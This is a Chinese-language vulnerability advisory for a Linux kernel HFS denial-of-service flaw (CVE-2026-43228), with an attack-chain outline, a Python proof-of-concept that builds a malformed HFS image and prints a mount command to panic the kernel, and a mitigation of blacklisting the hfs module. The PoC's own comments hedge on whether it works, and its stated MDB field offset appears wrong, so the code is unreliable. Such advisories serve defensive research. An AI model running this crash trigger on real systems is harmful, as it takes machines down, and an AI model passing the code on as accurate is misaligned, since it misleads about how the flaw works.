IPBUF安全漏洞报告
English
CVE-2026-43228 CVSS 5.5 中危

CVE-2026-43228 Linux内核hfs文件系统拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43228
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务HFS本地漏洞内核崩溃

漏洞概述

Linux内核的hfs文件系统模块中存在一个安全漏洞。该漏洞源于在扩展超级块中的ID计数器为64位时,使用了BUG_ON宏来检测溢出。然而,如果文件系统的MDB(主目录块)数据损坏,这将触发内核断言导致系统崩溃。目前官方已发布补丁,将BUG_ON替换为正确的错误处理逻辑,解决了syzbot报告的该问题。

技术细节

该漏洞发生在Linux内核HFS文件系统驱动解析超级块的过程中。在特定的代码提交中,开发人员将next_id、folder_count和file_count扩展为64位,并引入了BUG_ON()机制以确保计数器不会溢出。BUG_ON的作用是在条件满足时强制内核Panic。
攻击场景要求本地访问权限。攻击者可以构造一个特制的HFS文件系统镜像,其中包含精心设计的损坏MDB数据。当该镜像被挂载时,内核在读取并校验超级块信息时,会触发计数检查的BUG_ON条件。由于这是内核空间的致命错误,会导致系统立即崩溃或重启,从而造成拒绝服务。修复方案是将这些致命的断言检查替换为标准的错误返回路径,允许系统优雅地处理损坏的数据而不影响整体稳定性。

攻击链分析

STEP 1
准备阶段
攻击者准备一个包含损坏MDB(主目录块)数据的特制HFS文件系统镜像。
STEP 2
执行阶段
攻击者在目标Linux系统上,利用本地低权限账户尝试挂载该恶意镜像文件。
STEP 3
触发阶段
内核HFS驱动程序解析超级块信息,由于计数器异常触发BUG_ON()断言。
STEP 4
影响阶段
系统检测到内核断言,触发Panic导致系统崩溃或重启,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-43228: HFS MDB Corruption Trigger # This script creates a malformed HFS image attempting to trigger the kernel crash. import struct import os output_file = "crash_hfs.dmg" # Create a dummy file of size 2MB size = 2 * 1024 * 1024 with open(output_file, "wb") as f: f.write(b'\x00' * size) # Open and write the malformed MDB (Master Directory Block) # The MDB is located at offset 1024 (0x400) # We attempt to corrupt the file_count or folder_count to trigger the 64-bit overflow check/BUG_ON with open(output_file, "r+b") as f: f.seek(1024) # Basic HFS MDB signature (valid header needed to pass initial checks) # Signature 'BD' mdb = struct.pack('>H', 0x4244) f.write(mdb) # Seek to drNmFls (file count) offset within MDB. # In standard HFS, drNmFls is at offset 0x10 (16) from start of MDB. # Total offset = 1024 + 16 = 1040 f.seek(1040) # Write a large value that might trigger the logic when expanded to 64bit or checked against limits # Writing 0xFFFFFFFF to simulate potential overflow/corruption scenario f.write(struct.pack('>I', 0xFFFFFFFF)) print(f"[+] Malformed HFS image generated: {output_file}") print("[+] Attempt to mount this image on a vulnerable kernel to trigger the panic:") print(f" sudo mount -t hfs -o loop {output_file} /mnt/test")

影响范围

Linux Kernel (引入commit a06ec283e125之后的版本)
Linux Kernel (修复commit b226804532a8之前的版本)

防御指南

临时缓解措施
如果系统不使用HFS文件系统,建议通过禁用内核模块或阻止加载该模块来缓解风险。可以通过在/etc/modprobe.d/blacklist.conf中添加blacklist hfs来禁止加载。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表